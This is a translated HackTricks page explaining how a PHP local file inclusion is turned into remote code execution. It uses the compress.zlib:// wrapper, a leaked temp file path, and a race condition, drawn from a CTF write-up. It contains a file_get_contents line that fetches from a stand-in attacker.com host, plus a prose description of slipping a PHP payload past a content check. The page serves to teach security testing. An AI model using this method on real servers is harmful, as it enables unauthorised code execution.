4.3 KiB
LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure
{% hint style="success" %}
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
compress.zlib://
e PHP_STREAM_PREFER_STDIO
Um arquivo aberto usando o protocolo compress.zlib://
com a flag PHP_STREAM_PREFER_STDIO
pode continuar escrevendo dados que chegam à conexão posteriormente para o mesmo arquivo.
Isso significa que uma chamada como:
file_get_contents("compress.zlib://http://attacker.com/file")
Enviar uma solicitação pedindo http://attacker.com/file, então o servidor pode responder à solicitação com uma resposta HTTP válida, manter a conexão aberta e enviar dados extras algum tempo depois que também serão gravados no arquivo.
Você pode ver essa informação nesta parte do código php-src em main/streams/cast.c:
/* Use a tmpfile and copy the old streams contents into it */
if (flags & PHP_STREAM_PREFER_STDIO) {
*newstream = php_stream_fopen_tmpfile();
} else {
*newstream = php_stream_temp_new();
}
Condição de Corrida para RCE
Este CTF foi resolvido usando o truque anterior.
O atacante fará com que o servidor vítima abra uma conexão lendo um arquivo do servidor do atacante usando o protocolo compress.zlib
.
Enquanto essa conexão existir, o atacante irá exfiltrar o caminho para o arquivo temporário criado (ele é vazado pelo servidor).
Enquanto a conexão ainda estiver aberta, o atacante irá explorar um LFI carregando o arquivo temporário que ele controla.
No entanto, há uma verificação no servidor web que impede o carregamento de arquivos que contêm <?
. Portanto, o atacante irá abusar de uma Condição de Corrida. Na conexão que ainda está aberta, o atacante irá enviar o payload PHP DEPOIS que o servidor web tiver verificado se o arquivo contém os caracteres proibidos, mas ANTES de carregar seu conteúdo.
Para mais informações, consulte a descrição da Condição de Corrida e o CTF em https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.